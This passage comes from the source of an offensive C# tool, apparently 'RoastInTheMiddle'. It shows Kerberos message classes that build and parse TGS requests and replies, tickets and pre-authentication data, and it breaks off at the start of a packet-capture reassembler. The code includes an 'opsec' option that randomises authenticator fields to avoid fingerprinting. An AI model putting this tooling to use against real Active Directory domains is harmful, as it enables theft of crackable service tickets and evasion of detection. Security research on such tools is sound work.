{ get; set; } 171 | 172 | public DateTime stime { get; set; } 173 | 174 | public long susec { get; set; } 175 | 176 | public long error_code { get; set; } 177 | 178 | public string crealm { get; set; } 179 | 180 | public PrincipalName cname { get; set; } 181 | 182 | public string realm { get; set; } 183 | 184 | public PrincipalName sname { get; set; } 185 | 186 | public string e_text { get; set; } 187 | 188 | public List e_data { get; set; } 189 | } 190 | } 191 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/KrbCredInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | using System.Text; 4 | using System.Collections.Generic; 5 | 6 | namespace RoastInTheMiddle.Lib.Krb 7 | { 8 | public class KrbCredInfo 9 | { 10 | //KrbCredInfo ::= SEQUENCE { 11 | // key [0] EncryptionKey, 12 | // prealm [1] Realm OPTIONAL, 13 | // pname [2] PrincipalName OPTIONAL, 14 | // flags [3] TicketFlags OPTIONAL, 15 | // authtime [4] KerberosTime OPTIONAL, 16 | // starttime [5] KerberosTime OPTIONAL, 17 | // endtime [6] KerberosTime OPTIONAL, 18 | // renew-till [7] KerberosTime OPTIONAL, 19 | // srealm [8] Realm OPTIONAL, 20 | // sname [9] PrincipalName OPTIONAL, 21 | // caddr [10] HostAddresses OPTIONAL 22 | //} 23 | 24 | public KrbCredInfo() 25 | { 26 | key = new EncryptionKey(); 27 | 28 | prealm = ""; 29 | 30 | pname = new PrincipalName(); 31 | 32 | flags = 0; 33 | 34 | srealm = ""; 35 | 36 | sname = new PrincipalName(); 37 | } 38 | 39 | public KrbCredInfo(AsnElt body) 40 | { 41 | foreach (AsnElt s in body.Sub) 42 | { 43 | switch (s.TagValue) 44 | { 45 | case 0: 46 | key = new EncryptionKey(s); 47 | break; 48 | case 1: 49 | prealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); 50 | break; 51 | case 2: 52 | pname = new PrincipalName(s.Sub[0]); 53 | break; 54 | case 3: 55 | UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger()); 56 | byte[] tempBytes = BitConverter.GetBytes(temp); 57 | flags = (Interop.TicketFlags)BitConverter.ToInt32(tempBytes, 0); 58 | break; 59 | case 4: 60 | authtime = s.Sub[0].GetTime(); 61 | break; 62 | case 5: 63 | starttime = s.Sub[0].GetTime(); 64 | break; 65 | case 6: 66 | endtime = s.Sub[0].GetTime(); 67 | break; 68 | case 7: 69 | renew_till = s.Sub[0].GetTime(); 70 | break; 71 | case 8: 72 | srealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); 73 | break; 74 | case 9: 75 | sname = new PrincipalName(s.Sub[0]); 76 | break; 77 | default: 78 | break; 79 | } 80 | } 81 | } 82 | 83 | public AsnElt Encode() 84 | { 85 | List asnElements = new List(); 86 | 87 | // key [0] EncryptionKey 88 | if (key != null && key.keyvalue != null) 89 | { 90 | AsnElt keyAsn = key.Encode(); 91 | keyAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyAsn); 92 | asnElements.Add(keyAsn); 93 | } 94 | 95 | 96 | // prealm [1] Realm OPTIONAL 97 | if (!String.IsNullOrEmpty(prealm)) 98 | { 99 | AsnElt prealmAsn = AsnElt.MakeString(AsnElt.IA5String, prealm); 100 | prealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, prealmAsn); 101 | AsnElt prealmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, prealmAsn); 102 | prealmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, prealmAsnSeq); 103 | 104 | asnElements.Add(prealmAsnSeq); 105 | } 106 | 107 | 108 | // pname [2] PrincipalName OPTIONAL 109 | if ((pname.name_string != null) && (pname.name_string.Count != 0) && (!String.IsNullOrEmpty(pname.name_string[0]))) 110 | { 111 | AsnElt pnameAsn = pname.Encode(); 112 | pnameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, pnameAsn); 113 | asnElements.Add(pnameAsn); 114 | } 115 | 116 | 117 | // pname [2] PrincipalName OPTIONAL 118 | byte[] flagBytes = BitConverter.GetBytes((UInt32)flags); 119 | if (BitConverter.IsLittleEndian) 120 | { 121 | Array.Reverse(flagBytes); 122 | } 123 | AsnElt flagBytesAsn = AsnElt.MakeBitString(flagBytes); 124 | AsnElt flagBytesSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { flagBytesAsn }); 125 | flagBytesSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, flagBytesSeq); 126 | asnElements.Add(flagBytesSeq); 127 | 128 | 129 | // authtime [4] KerberosTime OPTIONAL 130 | if ((authtime != null) && (authtime != DateTime.MinValue)) 131 | { 132 | AsnElt authtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, authtime.ToString("yyyyMMddHHmmssZ")); 133 | AsnElt authtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authtimeAsn }); 134 | authtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, authtimeSeq); 135 | asnElements.Add(authtimeSeq); 136 | } 137 | 138 | 139 | // starttime [5] KerberosTime OPTIONAL 140 | if ((starttime != null) && (starttime != DateTime.MinValue)) 141 | { 142 | AsnElt starttimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, starttime.ToString("yyyyMMddHHmmssZ")); 143 | AsnElt starttimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { starttimeAsn }); 144 | starttimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, starttimeSeq); 145 | asnElements.Add(starttimeSeq); 146 | } 147 | 148 | 149 | // endtime [6] KerberosTime OPTIONAL 150 | if ((endtime != null) && (endtime != DateTime.MinValue)) 151 | { 152 | AsnElt endtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, endtime.ToString("yyyyMMddHHmmssZ")); 153 | AsnElt endtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { endtimeAsn }); 154 | endtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, endtimeSeq); 155 | asnElements.Add(endtimeSeq); 156 | } 157 | 158 | 159 | // renew-till [7] KerberosTime OPTIONAL 160 | if ((renew_till != null) && (renew_till != DateTime.MinValue)) 161 | { 162 | AsnElt renew_tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, renew_till.ToString("yyyyMMddHHmmssZ")); 163 | AsnElt renew_tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { renew_tillAsn }); 164 | renew_tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, renew_tillSeq); 165 | asnElements.Add(renew_tillSeq); 166 | } 167 | 168 | 169 | // srealm [8] Realm OPTIONAL 170 | if (!String.IsNullOrEmpty(srealm)) 171 | { 172 | AsnElt srealmAsn = AsnElt.MakeString(AsnElt.IA5String, srealm); 173 | srealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, srealmAsn); 174 | AsnElt srealmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, srealmAsn); 175 | srealmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, srealmAsnSeq); 176 | asnElements.Add(srealmAsnSeq); 177 | } 178 | 179 | 180 | // sname [9] PrincipalName OPTIONAL 181 | if ((sname.name_string != null) && (sname.name_string.Count != 0) && (!String.IsNullOrEmpty(sname.name_string[0]))) 182 | { 183 | AsnElt pnameAsn = sname.Encode(); 184 | pnameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 9, pnameAsn); 185 | asnElements.Add(pnameAsn); 186 | } 187 | 188 | 189 | // caddr [10] HostAddresses OPTIONAL 190 | 191 | 192 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, asnElements.ToArray()); 193 | 194 | return seq; 195 | } 196 | 197 | public EncryptionKey key { get; set; } 198 | 199 | public string prealm { get; set; } 200 | 201 | public PrincipalName pname { get; set; } 202 | 203 | public Interop.TicketFlags flags { get; set; } 204 | 205 | public DateTime authtime { get; set; } 206 | 207 | public DateTime starttime { get; set; } 208 | 209 | public DateTime endtime { get; set; } 210 | 211 | public DateTime renew_till { get; set; } 212 | 213 | public string srealm { get; set; } 214 | 215 | public PrincipalName sname { get; set; } 216 | 217 | // caddr (optional) - skipping for now 218 | } 219 | } 220 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/PA_DATA.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using Asn1; 7 | 8 | namespace RoastInTheMiddle.Lib.Krb 9 | { 10 | public class PA_DATA 11 | { 12 | public PA_DATA(bool pac = true) 13 | { 14 | type = Interop.PADATA_TYPE.PA_PAC_REQUEST; 15 | 16 | value = new PA_PAC_REQUEST(pac); 17 | } 18 | 19 | /*public PA_DATA(string keyString, Interop.KERB_ETYPE etype) 20 | { 21 | type = Interop.PADATA_TYPE.ENC_TIMESTAMP; 22 | 23 | PA_ENC_TS_ENC temp = new PA_ENC_TS_ENC(); 24 | 25 | byte[] rawBytes = temp.Encode().Encode(); 26 | byte[] key = Helpers.StringToByteArray(keyString); 27 | 28 | // KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP == 1 29 | // From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L55 30 | byte[] encBytes = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP, key, rawBytes); 31 | 32 | value = new EncryptedData((int)etype, encBytes); 33 | }*/ 34 | 35 | public PA_DATA(AsnElt body) 36 | { 37 | try 38 | { 39 | type = (Interop.PADATA_TYPE)body.Sub[0].Sub[0].GetInteger(); 40 | byte[] valueBytes = body.Sub[1].Sub[0].GetOctetString(); 41 | } 42 | catch 43 | { 44 | type = (Interop.PADATA_TYPE)body.Sub[0].Sub[0].Sub[0].GetInteger(); 45 | byte[] valueBytes = body.Sub[0].Sub[1].Sub[0].GetOctetString(); 46 | } 47 | 48 | switch (type) 49 | { 50 | case Interop.PADATA_TYPE.PA_PAC_REQUEST: 51 | value = new PA_PAC_REQUEST(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue())); 52 | break; 53 | case Interop.PADATA_TYPE.ENC_TIMESTAMP: 54 | value = new EncryptedData(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue())); 55 | break; 56 | } 57 | } 58 | 59 | public PA_DATA(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, bool opsec = false) 60 | { 61 | // include an AP-REQ, so PA-DATA for a TGS-REQ 62 | 63 | type = Interop.PADATA_TYPE.AP_REQ; 64 | 65 | // build the AP-REQ 66 | AP_REQ ap_req = new AP_REQ(crealm, cname, providedTicket, clientKey, etype); 67 | 68 | // make authenticator look more realistic 69 | if (opsec) 70 | { 71 | var rand = new Random(); 72 | ap_req.authenticator.seq_number = (UInt32)rand.Next(1, Int32.MaxValue); 73 | // Could be useful to output the sequence number in case we implement KRB_PRIV or KRB_SAFE messages 74 | Console.WriteLine("[+] Sequence number is: {0}", ap_req.authenticator.seq_number); 75 | 76 | // randomize cusec to avoid fingerprinting 77 | ap_req.authenticator.cusec = rand.Next(0, 999999); 78 | } 79 | 80 | value = ap_req; 81 | } 82 | 83 | public AsnElt Encode() 84 | { 85 | // padata-type [1] Int32 86 | AsnElt typeElt = AsnElt.MakeInteger((long)type); 87 | AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { typeElt }); 88 | nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, nameTypeSeq); 89 | 90 | AsnElt paDataElt; 91 | if (type == Interop.PADATA_TYPE.PA_PAC_REQUEST) 92 | { 93 | // used for AS-REQs 94 | 95 | // padata-value [2] OCTET STRING -- might be encoded AP-REQ 96 | paDataElt = ((PA_PAC_REQUEST)value).Encode(); 97 | paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, paDataElt); 98 | 99 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); 100 | return seq; 101 | } 102 | else if (type == Interop.PADATA_TYPE.ENC_TIMESTAMP) 103 | { 104 | // used for AS-REQs 105 | AsnElt blob = AsnElt.MakeBlob(((EncryptedData)value).Encode().Encode()); 106 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); 107 | blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); 108 | 109 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, blobSeq }); 110 | return seq; 111 | } 112 | else if (type == Interop.PADATA_TYPE.AP_REQ) 113 | { 114 | // used for TGS-REQs 115 | AsnElt blob = AsnElt.MakeBlob(((AP_REQ)value).Encode().Encode()); 116 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); 117 | 118 | paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); 119 | 120 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); 121 | return seq; 122 | } 123 | else 124 | { 125 | return null; 126 | } 127 | } 128 | 129 | public Interop.PADATA_TYPE type { get; set; } 130 | 131 | public Object value { get; set; } 132 | } 133 | } 134 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/PA_ENC_TS_ENC.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | 4 | namespace RoastInTheMiddle.Lib.Krb 5 | { 6 | public class PA_ENC_TS_ENC 7 | { 8 | public PA_ENC_TS_ENC() 9 | { 10 | patimestamp = DateTime.UtcNow; 11 | timestampData = null; 12 | } 13 | 14 | public PA_ENC_TS_ENC(DateTime time) 15 | { 16 | patimestamp = time; 17 | timestampData = null; 18 | } 19 | 20 | public PA_ENC_TS_ENC(AsnElt value) 21 | { 22 | timestampData = value.CopyValue(); 23 | } 24 | 25 | public AsnElt Encode() 26 | { 27 | AsnElt totalSeq; 28 | if (timestampData == null) 29 | { 30 | AsnElt patimestampAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, patimestamp.ToString("yyyyMMddHHmmssZ")); 31 | AsnElt patimestampSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampAsn }); 32 | patimestampSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, patimestampSeq); 33 | 34 | totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampSeq }); 35 | } 36 | else 37 | { 38 | totalSeq = AsnElt.Decode(timestampData); 39 | } 40 | 41 | 42 | return totalSeq; 43 | } 44 | 45 | public byte[] timestampData { get; set; } 46 | 47 | public DateTime patimestamp { get; set; } 48 | 49 | public int pausec { get; set; } 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/PA_PAC_REQUEST.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | 3 | namespace RoastInTheMiddle.Lib.Krb 4 | { 5 | public class PA_PAC_REQUEST 6 | { 7 | public PA_PAC_REQUEST(bool pac = true) 8 | { 9 | include_pac = pac; 10 | } 11 | 12 | public PA_PAC_REQUEST(AsnElt value) 13 | { 14 | include_pac = value.Sub[0].Sub[0].GetBoolean(); 15 | } 16 | 17 | public AsnElt Encode() 18 | { 19 | AsnElt ret; 20 | 21 | if (include_pac) 22 | { 23 | ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x01 }); 24 | } 25 | else 26 | { 27 | ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x00 }); 28 | } 29 | 30 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ret }); 31 | 32 | return seq; 33 | } 34 | 35 | public bool include_pac { get; set; } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/PrincipalName.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Text; 3 | using Asn1; 4 | 5 | namespace RoastInTheMiddle.Lib.Krb 6 | { 7 | public class PrincipalName 8 | { 9 | public PrincipalName() 10 | { 11 | name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; 12 | 13 | name_string = new List(); 14 | } 15 | 16 | public PrincipalName(string principal) 17 | { 18 | // create with principal 19 | name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; 20 | 21 | name_string = new List(); 22 | name_string.Add(principal); 23 | } 24 | 25 | public PrincipalName(AsnElt body) 26 | { 27 | name_type = (Interop.PRINCIPAL_TYPE)body.Sub[0].Sub[0].GetInteger(); 28 | 29 | int numberOfNames = body.Sub[1].Sub[0].Sub.Length; 30 | 31 | name_string = new List(); 32 | 33 | for (int i = 0; i < numberOfNames; i++) 34 | { 35 | name_string.Add(Encoding.UTF8.GetString(body.Sub[1].Sub[0].Sub[i].GetOctetString())); 36 | } 37 | } 38 | 39 | public AsnElt Encode() 40 | { 41 | // name-type[0] Int32 42 | AsnElt nameTypeElt = AsnElt.MakeInteger((long)name_type); 43 | AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeElt }); 44 | nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, nameTypeSeq); 45 | 46 | 47 | // name-string[1] SEQUENCE OF KerberosString 48 | // add in the name string sequence (one or more) 49 | AsnElt[] strings = new AsnElt[name_string.Count]; 50 | 51 | for (int i = 0; i < name_string.Count; ++i) 52 | { 53 | string name = name_string[i]; 54 | AsnElt nameStringElt = AsnElt.MakeString(AsnElt.UTF8String, name); 55 | nameStringElt = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, nameStringElt); 56 | strings[i] = nameStringElt; 57 | } 58 | 59 | AsnElt stringSeq = AsnElt.Make(AsnElt.SEQUENCE, strings); 60 | AsnElt stringSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { stringSeq }); 61 | stringSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, stringSeq2); 62 | 63 | 64 | // build the final sequences 65 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nameTypeSeq, stringSeq2 }); 66 | 67 | AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); 68 | 69 | return seq2; 70 | } 71 | 72 | public Interop.PRINCIPAL_TYPE name_type { get; set; } 73 | 74 | public List name_string { get; set; } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/TGS_REP.cs: -------------------------------------------------------------------------------- 1 | using System.Text; 2 | using Asn1; 3 | 4 | namespace RoastInTheMiddle.Lib.Krb 5 | { 6 | public class TGS_REP 7 | { 8 | //TGS-REP ::= [APPLICATION 13] KDC-REP 9 | 10 | //KDC-REP ::= SEQUENCE { 11 | // pvno [0] INTEGER (5), 12 | // msg-type [1] INTEGER (13 -- TGS), 13 | // padata [2] SEQUENCE OF PA-DATA OPTIONAL 14 | // -- NOTE: not empty --, 15 | // crealm [3] Realm, 16 | // cname [4] PrincipalName, 17 | // ticket [5] Ticket, 18 | // enc-part [6] EncryptedData 19 | // -- EncTGSRepPart 20 | //} 21 | 22 | public TGS_REP(byte[] data) 23 | { 24 | // decode the supplied bytes to an AsnElt object 25 | // false == ignore trailing garbage 26 | AsnElt asn_TGS_REP = AsnElt.Decode(data, false); 27 | 28 | this.Decode(asn_TGS_REP); 29 | } 30 | 31 | public TGS_REP(AsnElt asn_TGS_REP) 32 | { 33 | this.Decode(asn_TGS_REP); 34 | } 35 | 36 | private void Decode(AsnElt asn_TGS_REP) 37 | { 38 | // TGS - REP::= [APPLICATION 13] KDC - REP 39 | if (asn_TGS_REP.TagValue != (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) 40 | { 41 | throw new System.Exception("TGS-REP tag value should be 13"); 42 | } 43 | 44 | if ((asn_TGS_REP.Sub.Length != 1) || (asn_TGS_REP.Sub[0].TagValue != 16)) 45 | { 46 | throw new System.Exception("First TGS-REP sub should be a sequence"); 47 | } 48 | 49 | // extract the KDC-REP out 50 | AsnElt[] kdc_rep = asn_TGS_REP.Sub[0].Sub; 51 | 52 | foreach (AsnElt s in kdc_rep) 53 | { 54 | switch (s.TagValue) 55 | { 56 | case 0: 57 | pvno = s.Sub[0].GetInteger(); 58 | break; 59 | case 1: 60 | msg_type = s.Sub[0].GetInteger(); 61 | break; 62 | case 2: 63 | // sequence of pa-data 64 | padata = new PA_DATA(s.Sub[0]); 65 | break; 66 | case 3: 67 | crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); 68 | break; 69 | case 4: 70 | cname = new PrincipalName(s.Sub[0]); 71 | break; 72 | case 5: 73 | ticket = new Ticket(s.Sub[0].Sub[0]); 74 | break; 75 | case 6: 76 | enc_part = new EncryptedData(s.Sub[0]); 77 | break; 78 | default: 79 | break; 80 | } 81 | } 82 | } 83 | 84 | public long pvno { get; set; } 85 | 86 | public long msg_type { get; set; } 87 | 88 | public PA_DATA padata { get; set; } 89 | 90 | public string crealm { get; set; } 91 | 92 | public PrincipalName cname { get; set; } 93 | 94 | public Ticket ticket { get; set; } 95 | 96 | public EncryptedData enc_part { get; set; } 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/TGS_REQ.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using Asn1; 7 | 8 | namespace RoastInTheMiddle.Lib.Krb 9 | { 10 | public class TGS_REQ 11 | { 12 | public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Ticket ticket) 13 | { 14 | TGS_REQ req = new TGS_REQ(); 15 | 16 | // the realm (domain) the user exists in 17 | req.req_body.realm = domain.ToUpper(); 18 | 19 | req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); 20 | req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); 21 | req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); 22 | req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); 23 | req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_md5); 24 | 25 | req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.ENCTKTINSKEY | Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK; 26 | req.req_body.sname.name_string.Add(sname); 27 | req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; 28 | 29 | req.req_body.additional_tickets = new List(); 30 | req.req_body.additional_tickets.Add(ticket); 31 | 32 | // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. 33 | PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType, false); 34 | req.padata.Add(padata); 35 | 36 | return req.Encode().Encode(); 37 | } 38 | 39 | public TGS_REQ() 40 | { 41 | // default, for creation 42 | pvno = 5; 43 | 44 | // msg-type [2] INTEGER (12 -- TGS) 45 | msg_type = (long)Interop.KERB_MESSAGE_TYPE.TGS_REQ; 46 | 47 | padata = new List(); 48 | 49 | req_body = new KDCReqBody(c: false); 50 | } 51 | 52 | public AsnElt Encode() 53 | { 54 | // pvno [1] INTEGER (5) 55 | AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); 56 | AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn }); 57 | pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, pvnoSeq); 58 | 59 | 60 | // msg-type [2] INTEGER (12 -- TGS -- ) 61 | AsnElt msg_type_ASN = AsnElt.MakeInteger(msg_type); 62 | AsnElt msg_type_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_type_ASN }); 63 | msg_type_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, msg_type_ASNSeq); 64 | 65 | 66 | // padata [3] SEQUENCE OF PA-DATA OPTIONAL 67 | List padatas = new List(); 68 | foreach (PA_DATA pa in padata) 69 | { 70 | padatas.Add(pa.Encode()); 71 | } 72 | AsnElt padata_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, padatas.ToArray()); 73 | AsnElt padata_ASNSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { padata_ASNSeq }); 74 | padata_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, padata_ASNSeq2); 75 | 76 | 77 | // req-body [4] KDC-REQ-BODY 78 | AsnElt req_Body_ASN = req_body.Encode(); 79 | AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); 80 | req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); 81 | 82 | 83 | // encode it all into a sequence 84 | AsnElt[] total = new[] { pvnoSeq, msg_type_ASNSeq, padata_ASNSeq, req_Body_ASNSeq }; 85 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total); 86 | 87 | // TGS-REQ ::= [APPLICATION 12] KDC-REQ 88 | // put it all together and tag it with 10 89 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); 90 | totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 12, totalSeq); 91 | 92 | return totalSeq; 93 | } 94 | 95 | public long pvno { get; set; } 96 | 97 | public long msg_type { get; set; } 98 | 99 | public List padata { get; set; } 100 | 101 | public KDCReqBody req_body { get; set; } 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Krb/Ticket.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using Asn1; 4 | 5 | namespace RoastInTheMiddle.Lib.Krb 6 | { 7 | public class Ticket 8 | { 9 | public Ticket(string domain, string service) 10 | { 11 | tkt_vno = 5; 12 | 13 | realm = domain; 14 | 15 | sname = new PrincipalName(); 16 | sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; 17 | foreach (string part in service.Split('/')) 18 | { 19 | sname.name_string.Add(part); 20 | } 21 | } 22 | 23 | public Ticket(AsnElt body) 24 | { 25 | foreach (AsnElt s in body.Sub) 26 | { 27 | switch (s.TagValue) 28 | { 29 | case 0: 30 | tkt_vno = Convert.ToInt32(s.Sub[0].GetInteger()); 31 | break; 32 | case 1: 33 | realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); 34 | break; 35 | case 2: 36 | sname = new PrincipalName(s.Sub[0]); 37 | break; 38 | case 3: 39 | enc_part = new EncryptedData(s.Sub[0]); 40 | break; 41 | default: 42 | break; 43 | } 44 | } 45 | } 46 | 47 | public AsnElt Encode() 48 | { 49 | // tkt-vno [0] INTEGER (5) 50 | AsnElt tkt_vnoAsn = AsnElt.MakeInteger(tkt_vno); 51 | AsnElt tkt_vnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { tkt_vnoAsn }); 52 | tkt_vnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, tkt_vnoSeq); 53 | 54 | 55 | // realm [1] Realm 56 | AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, realm); 57 | realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); 58 | AsnElt realmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, realmAsn); 59 | realmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, realmAsnSeq); 60 | 61 | 62 | // sname [2] PrincipalName 63 | AsnElt snameAsn = sname.Encode(); 64 | snameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, snameAsn); 65 | 66 | 67 | // enc-part [3] EncryptedData -- EncTicketPart 68 | AsnElt enc_partAsn = enc_part.Encode(); 69 | AsnElt enc_partSeq = AsnElt.Make(AsnElt.SEQUENCE, enc_partAsn); 70 | enc_partSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, enc_partSeq); 71 | 72 | 73 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tkt_vnoSeq, realmAsnSeq, snameAsn, enc_partSeq }); 74 | AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq }); 75 | totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 1, totalSeq2); 76 | 77 | return totalSeq2; 78 | } 79 | 80 | public int tkt_vno { get; set; } 81 | 82 | public string realm { get; set; } 83 | 84 | public PrincipalName sname { get; set; } 85 | 86 | public EncryptedData enc_part { get; set; } 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Reassembler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Net; 5 | using System.Threading; 6 | using PacketDotNet; 7 | using SharpPcap; 8 | using RoastInTheMiddle.Lib.Krb; 9 | 10 | namespace RoastInTheMiddle.Lib 11 | { 12 | public class Reassembler 13 | { 14 | private static ILiveDevice captureDevice { get; set; } 15 | 16 | public static void Reassemble() 17 | { 18 | if (Program.shared["capture_device"] == null) 19 | { 20 | throw new Exception("Capture device not connected!"); 21 | } 22 | 23 | captureDevice = 